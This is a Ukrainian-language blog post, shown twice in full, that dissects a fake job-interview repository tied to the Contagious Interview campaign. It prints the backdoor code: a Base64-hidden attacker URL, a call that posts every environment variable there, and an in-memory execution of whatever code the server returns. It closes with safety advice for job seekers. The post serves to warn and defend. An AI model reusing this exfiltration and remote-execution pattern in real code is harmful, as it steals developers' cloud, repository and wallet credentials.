Як за один npm run dev втратити ключі від AWS та GitHub
Останнім часом на ринку праці з’явився новий тип «роботодавців», спілкування з якими закінчується не офером, а повною компрометацією вашої робочої машини. Мова йде про відому кампанію Contagious Interview, яка масово таргетить розробників у LinkedIn, Telegram та Upwork (особливо у сферах Web3, AI та FinTech).
Нещодавно мені до рук потрапив один із таких тестових репозиторіїв під назвою DeFi-Estate. Після швидкого аналізу коду стало зрозуміло: це класичний, професійно написаний бекдор.
Ділюся технічним розбором, щоб ви не повторили чужих помилок.
Технічний розбір: Як це влаштовано всередині
Зловмисники розраховують на те, що кандидат захоче запустити проєкт локально, щоб подивитися, як він працює. Щойно ви піднімаєте бекенд, у файлі dataService.js автоматично відпрацьовується функція verifyToken().
Давайте подивимось на фрагмент коду:
async function verifyToken(req, res) {
const { data } = persistence;
const tokenAddress = "aHR0cHM6Ly9pcC1jaGVja291dC1vbmUudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==";
verify(parseToken(tokenAddress))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
return { success: true, data: responseData };
})
Етап 1: Декодування та ексфільтрація даних
Рядок tokenAddress — це звичайний Base64. Якщо його декодувати, ми отримаємо URL-адресу зловмисників:
https://ip-checkout-one.vercel.app/api/ip-check-encrypted/3aeb34a39
Далі функція викликає verify(), яка захована у файлі users.js. Ось її логіка:
async function verify(api) {
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });
};
Вона бере весь ваш process.env — з усіма вашими локальними токенами, паролями до баз даних, приватними ключами AWS чи GitHub — і відправляє на сервер зловмисників через POST-запит.
Етап 2: Remote Code Execution (RCE) в оперативній пам’яті
Найцікавіше відбувається далі. Сервер зловмисників повертає зашифрований або обфускований JavaScript-код (responseData).
Замість банального та помітного eval(), вони використовують динамічний конструктор функцій:const executor = new (Function.constructor)("require«, responseData);
Це дозволяє виконувати шкідливий скрипт безпосередньо в оперативній пам’яті процесу Node.js. Стандартні антивіруси цього не бачать, бо на жорсткий диск нічого не записується. Цей код може завантажити RAT (Remote Access Trojan), злити сесії з браузера, вигребти криптогаманці або встановити persistence-скрипти у вашій системі.
Навіщо їм це потрібно?
Креденшели хмарних провайдерів: AWS, GCP, Azure токени з файлів на кшталт ~/.aws/credentials.
Доступ до репозиторіїв компанії: Через ваші SSH ключі до GitHub/GitLab, щоб спробувати закинути шкідливе ПЗ вже в код вашого поточного роботодавця.
Криптогаманці: скрипти автоматично сканують розширення браузерів (MetaMask тощо) і викачують seed-фрази.
Правила безпеки:
Якщо ви шукаєте роботу, змінюйте підхід до запуску чужого коду:
Забудьте про запуск на «голій» системі: ніколи не пишіть npm install для тестових завдань від незнайомих компаній безпосередньо на своєму робочому чи особистому комп’ютері.
Проводьте швидкий аудит коду за допомогою ШІ.
Використовуйте ізоляцію: запускайте проєкт виключно в Docker-контейнері (з обмеженим доступом до мережі), у хмарних сендбоксах на кшталт GitHub Codespaces, або на окремій віртуальній машині (VirtualBox, UTM), яку не шкода видалити.
Як за один npm run dev втратити ключі від AWS та GitHub
Останнім часом на ринку праці з’явився новий тип «роботодавців», спілкування з якими закінчується не офером, а повною компрометацією вашої робочої машини. Мова йде про відому кампанію Contagious Interview, яка масово таргетить розробників у LinkedIn, Telegram та Upwork (особливо у сферах Web3, AI та FinTech).
Нещодавно мені до рук потрапив один із таких тестових репозиторіїв під назвою DeFi-Estate. Після швидкого аналізу коду стало зрозуміло: це класичний, професійно написаний бекдор.
Ділюся технічним розбором, щоб ви не повторили чужих помилок.
Технічний розбір: Як це влаштовано всередині
Зловмисники розраховують на те, що кандидат захоче запустити проєкт локально, щоб подивитися, як він працює. Щойно ви піднімаєте бекенд, у файлі dataService.js автоматично відпрацьовується функція verifyToken().
Давайте подивимось на фрагмент коду:
async function verifyToken(req, res) {
const { data } = persistence;
const tokenAddress = "aHR0cHM6Ly9pcC1jaGVja291dC1vbmUudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==";
verify(parseToken(tokenAddress))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
return { success: true, data: responseData };
})
Етап 1: Декодування та ексфільтрація даних
Рядок tokenAddress — це звичайний Base64. Якщо його декодувати, ми отримаємо URL-адресу зловмисників:
https://ip-checkout-one.vercel.app/api/ip-check-encrypted/3aeb34a39
Далі функція викликає verify(), яка захована у файлі users.js. Ось її логіка:
async function verify(api) {
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });
};
Вона бере весь ваш process.env — з усіма вашими локальними токенами, паролями до баз даних, приватними ключами AWS чи GitHub — і відправляє на сервер зловмисників через POST-запит.
Етап 2: Remote Code Execution (RCE) в оперативній пам’яті
Найцікавіше відбувається далі. Сервер зловмисників повертає зашифрований або обфускований JavaScript-код (responseData).
Замість банального та помітного eval(), вони використовують динамічний конструктор функцій:const executor = new (Function.constructor)("require«, responseData);
Це дозволяє виконувати шкідливий скрипт безпосередньо в оперативній пам’яті процесу Node.js. Стандартні антивіруси цього не бачать, бо на жорсткий диск нічого не записується. Цей код може завантажити RAT (Remote Access Trojan), злити сесії з браузера, вигребти криптогаманці або встановити persistence-скрипти у вашій системі.
Навіщо їм це потрібно?
Креденшели хмарних провайдерів: AWS, GCP, Azure токени з файлів на кшталт ~/.aws/credentials.
Доступ до репозиторіїв компанії: Через ваші SSH ключі до GitHub/GitLab, щоб спробувати закинути шкідливе ПЗ вже в код вашого поточного роботодавця.
Криптогаманці: скрипти автоматично сканують розширення браузерів (MetaMask тощо) і викачують seed-фрази.
Правила безпеки:
Якщо ви шукаєте роботу, змінюйте підхід до запуску чужого коду:
Забудьте про запуск на «голій» системі: ніколи не пишіть npm install для тестових завдань від незнайомих компаній безпосередньо на своєму робочому чи особистому комп’ютері.
Проводьте швидкий аудит коду за допомогою ШІ.
Використовуйте ізоляцію: запускайте проєкт виключно в Docker-контейнері (з обмеженим доступом до мережі), у хмарних сендбоксах на кшталт GitHub Codespaces, або на окремій віртуальній машині (VirtualBox, UTM), яку не шкода видалити.